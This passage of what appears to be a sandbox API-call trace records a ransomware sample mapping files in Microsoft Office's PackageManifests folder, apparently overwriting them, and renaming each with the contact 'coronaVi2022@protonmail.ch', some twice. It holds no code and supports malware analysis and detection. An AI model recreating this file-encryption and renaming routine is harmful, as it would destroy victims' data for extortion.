	os_tid = 0x1524

	[0088.608] _alloca_probe () returned 0x40328a
	[0088.609] GetCurrentThreadId () returned 0x1524
	[0088.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764
	[0088.610] GetFileSizeEx (in: hFile=0x764, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3375) returned 1
	[0088.610] CreateFileMappingA (hFile=0x764, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd3d, lpName=0x0) returned 0x768
	[0088.610] MapViewOfFile (hFileMappingObject=0x768, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0088.614] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0088.614] CloseHandle (hObject=0x768) returned 1
	[0088.614] GetCurrentThreadId () returned 0x1524
	[0088.614] FlushFileBuffers (hFile=0x764) returned 1
	[0088.771] CloseHandle (hObject=0x764) returned 1
	[0088.772] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 133
	[0088.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1
	[0088.773] free (_Block=0x2fc5a30) 
	[0088.773] RtlExitUserThread (Status=0x0) 

Thread:
	id = 297
	os_tid = 0x1528

	[0088.627] _alloca_probe () returned 0x40328a
	[0088.628] GetCurrentThreadId () returned 0x1528
	[0088.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", dwFileAttributes=0x80) returned 1
	[0088.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768
	[0088.629] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=2173046) returned 1
	[0088.629] CreateFileMappingA (hFile=0x768, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21287b, lpName=0x0) returned 0x75c
	[0088.629] MapViewOfFile (hFileMappingObject=0x75c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3590000
	[0091.107] UnmapViewOfFile (lpBaseAddress=0x3590000) returned 1
	[0091.156] CloseHandle (hObject=0x75c) returned 1
	[0091.156] GetCurrentThreadId () returned 0x1528
	[0091.156] FlushFileBuffers (hFile=0x768) returned 1
	[0091.914] CloseHandle (hObject=0x768) returned 1
	[0091.914] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.common.xml") returned 103
	[0091.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.common.xml")) returned 1
	[0091.982] free (_Block=0x2fc4a28) 
	[0091.982] RtlExitUserThread (Status=0x0) 

Thread:
	id = 298
	os_tid = 0x152c

	[0088.633] _alloca_probe () returned 0x40328a
	[0088.634] GetCurrentThreadId () returned 0x152c
	[0088.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", dwFileAttributes=0x80) returned 1
	[0088.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8
	[0088.709] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x38aff5c | out: lpFileSize=0x38aff5c*=9831) returned 1
	[0088.710] CreateFileMappingA (hFile=0x7c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x266d, lpName=0x0) returned 0x7d4
	[0088.723] MapViewOfFile (hFileMappingObject=0x7d4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0088.777] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0088.777] CloseHandle (hObject=0x7d4) returned 1
	[0088.777] GetCurrentThreadId () returned 0x152c
	[0088.777] FlushFileBuffers (hFile=0x7c8) returned 1
	[0089.796] CloseHandle (hObject=0x7c8) returned 1
	[0089.852] _swprintf (in: param_1=0x38a9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml") returned 105
	[0089.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifestloc.en-us.xml")) returned 1
	[0089.859] free (_Block=0x2fc6a38) 
	[0089.859] RtlExitUserThread (Status=0x0) 

Thread:
	id = 299
	os_tid = 0x1530

	[0088.637] _alloca_probe () returned 0x40328a
	[0088.638] GetCurrentThreadId () returned 0x1530
	[0088.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", dwFileAttributes=0x80) returned 1
	[0088.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c0
	[0088.710] GetFileSizeEx (in: hFile=0x7c0, lpFileSize=0x39eff5c | out: lpFileSize=0x39eff5c*=373) returned 1
	[0088.710] CreateFileMappingA (hFile=0x7c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x179, lpName=0x0) returned 0x7d8
	[0088.723] MapViewOfFile (hFileMappingObject=0x7d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0088.724] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0088.724] CloseHandle (hObject=0x7d8) returned 1
	[0088.724] GetCurrentThreadId () returned 0x1530
	[0088.724] FlushFileBuffers (hFile=0x7c0) returned 1
	[0089.374] CloseHandle (hObject=0x7c0) returned 1
	[0089.791] _swprintf (in: param_1=0x39e9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AuthoredExtensions.xml") returned 102
	[0089.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___authoredextensions.xml")) returned 1
	[0089.858] free (_Block=0x2fc7a40) 
	[0089.858] RtlExitUserThread (Status=0x0) 

Thread:
	id = 300
	os_tid = 0x1534

	[0088.641] _alloca_probe () returned 0x40328a
	[0088.642] GetCurrentThreadId () returned 0x1534
	[0088.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8
	[0088.710] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0x3b2ff5c | out: lpFileSize=0x3b2ff5c*=387367) returned 1
	[0088.710] CreateFileMappingA (hFile=0x7b8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5e92d, lpName=0x0) returned 0x7d8
	[0088.729] MapViewOfFile (hFileMappingObject=0x7d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4730000
	[0089.267] UnmapViewOfFile (lpBaseAddress=0x4730000) returned 1
	[0089.271] CloseHandle (hObject=0x7d8) returned 1
	[0089.271] GetCurrentThreadId () returned 0x1534
	[0089.271] FlushFileBuffers (hFile=0x7b8) returned 1
	[0090.668] CloseHandle (hObject=0x7b8) returned 1
	[0091.246] _swprintf (in: param_1=0x3b29f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 162
	[0091.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.394] free (_Block=0x2fc8c68) 
	[0091.394] RtlExitUserThread (Status=0x0) 

Thread:
	id = 301
	os_tid = 0x1538

	[0088.644] _alloca_probe () returned 0x40328a
	[0088.645] GetCurrentThreadId () returned 0x1538
	[0088.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0
	[0088.711] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x3c6ff5c | out: lpFileSize=0x3c6ff5c*=1545) returned 1
	[0088.711] CreateFileMappingA (hFile=0x7b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x611, lpName=0x0) returned 0x7dc
	[0088.731] MapViewOfFile (hFileMappingObject=0x7dc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0088.804] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0088.804] CloseHandle (hObject=0x7dc) returned 1
	[0088.804] GetCurrentThreadId () returned 0x1538
	[0088.804] FlushFileBuffers (hFile=0x7b0) returned 1
	[0089.706] CloseHandle (hObject=0x7b0) returned 1
	[0089.853] _swprintf (in: param_1=0x3c69f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 162
	[0089.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1
	[0089.862] free (_Block=0x2fc9e90) 
	[0089.862] RtlExitUserThread (Status=0x0) 

Thread:
	id = 302
	os_tid = 0x153c

	[0088.648] _alloca_probe () returned 0x40328a
	[0088.649] GetCurrentThreadId () returned 0x153c
	[0088.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0088.711] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x3daff5c | out: lpFileSize=0x3daff5c*=800869) returned 1
	[0088.711] CreateFileMappingA (hFile=0x7a8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3869, lpName=0x0) returned 0x7e0
	[0088.740] MapViewOfFile (hFileMappingObject=0x7e0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4790000
	[0089.843] UnmapViewOfFile (lpBaseAddress=0x4790000) returned 1
	[0089.851] CloseHandle (hObject=0x7e0) returned 1
	[0089.851] GetCurrentThreadId () returned 0x153c
	[0089.851] FlushFileBuffers (hFile=0x7a8) returned 1
	[0090.821] CloseHandle (hObject=0x7a8) returned 1
	[0091.254] _swprintf (in: param_1=0x3da9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 162
	[0091.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.395] free (_Block=0x2fcb0b8) 
	[0091.395] RtlExitUserThread (Status=0x0) 

Thread:
	id = 303
	os_tid = 0x1540

	[0088.654] _alloca_probe () returned 0x40328a
	[0088.655] GetCurrentThreadId () returned 0x1540
	[0088.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a0
	[0088.712] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0x3eeff5c | out: lpFileSize=0x3eeff5c*=1273) returned 1
	[0088.712] CreateFileMappingA (hFile=0x7a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x7e4
	[0088.741] MapViewOfFile (hFileMappingObject=0x7e4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2410000
	[0088.796] UnmapViewOfFile (lpBaseAddress=0x2410000) returned 1
	[0088.796] CloseHandle (hObject=0x7e4) returned 1
	[0088.796] GetCurrentThreadId () returned 0x1540
	[0088.796] FlushFileBuffers (hFile=0x7a0) returned 1
	[0088.980] CloseHandle (hObject=0x7a0) returned 1
	[0088.981] _swprintf (in: param_1=0x3ee9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 162
	[0088.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.982] free (_Block=0x2fcf210) 
	[0088.982] RtlExitUserThread (Status=0x0) 

Thread:
	id = 304
	os_tid = 0x1544

	[0088.659] _alloca_probe () returned 0x40328a
	[0088.660] GetCurrentThreadId () returned 0x1544
	[0088.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798
	[0088.712] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x402ff5c | out: lpFileSize=0x402ff5c*=496513) returned 1
	[0088.712] CreateFileMappingA (hFile=0x798, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x79381, lpName=0x0) returned 0x790
	[0088.717] MapViewOfFile (hFileMappingObject=0x790, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4670000
	[0089.376] UnmapViewOfFile (lpBaseAddress=0x4670000) returned 1
	[0089.381] CloseHandle (hObject=0x790) returned 1
	[0089.381] GetCurrentThreadId () returned 0x1544
	[0089.381] FlushFileBuffers (hFile=0x798) returned 1
	[0090.253] CloseHandle (hObject=0x798) returned 1
	[0091.194] _swprintf (in: param_1=0x4029f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 162
	[0091.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.389] free (_Block=0x2fd0438) 
	[0091.389] RtlExitUserThread (Status=0x0) 

Thread:
	id = 305
	os_tid = 0x1548

	[0088.662] _alloca_probe () returned 0x40328a
	[0088.663] GetCurrentThreadId () returned 0x1548
	[0088.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788
	[0088.718] GetFileSizeEx (in: hFile=0x788, lpFileSize=0x416ff5c | out: lpFileSize=0x416ff5c*=1273) returned 1
	[0088.718] CreateFileMappingA (hFile=0x788, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x7e8
	[0088.742] MapViewOfFile (hFileMappingObject=0x7e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4860000
	[0088.794] UnmapViewOfFile (lpBaseAddress=0x4860000) returned 1
	[0088.794] CloseHandle (hObject=0x7e8) returned 1
	[0088.794] GetCurrentThreadId () returned 0x1548
	[0088.794] FlushFileBuffers (hFile=0x788) returned 1
	[0088.977] CloseHandle (hObject=0x788) returned 1
	[0088.978] _swprintf (in: param_1=0x4169f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 162
	[0088.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.979] free (_Block=0x2fd3848) 
	[0088.979] RtlExitUserThread (Status=0x0) 

Thread:
	id = 306
	os_tid = 0x154c

	[0088.666] _alloca_probe () returned 0x40328a
	[0088.667] GetCurrentThreadId () returned 0x154c
	[0088.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780
	[0088.718] GetFileSizeEx (in: hFile=0x780, lpFileSize=0x42aff5c | out: lpFileSize=0x42aff5c*=253712) returned 1
	[0088.718] CreateFileMappingA (hFile=0x780, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3df10, lpName=0x0) returned 0x778
	[0088.721] MapViewOfFile (hFileMappingObject=0x778, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x46f0000
	[0089.042] UnmapViewOfFile (lpBaseAddress=0x46f0000) returned 1
	[0089.044] CloseHandle (hObject=0x778) returned 1
	[0089.044] GetCurrentThreadId () returned 0x154c
	[0089.044] FlushFileBuffers (hFile=0x780) returned 1
	[0089.798] CloseHandle (hObject=0x780) returned 1
	[0089.852] _swprintf (in: param_1=0x42a9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 162
	[0089.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1
	[0089.861] free (_Block=0x2fd4850) 
	[0089.861] RtlExitUserThread (Status=0x0) 

Thread:
	id = 307
	os_tid = 0x1550

	[0088.670] _alloca_probe () returned 0x40328a
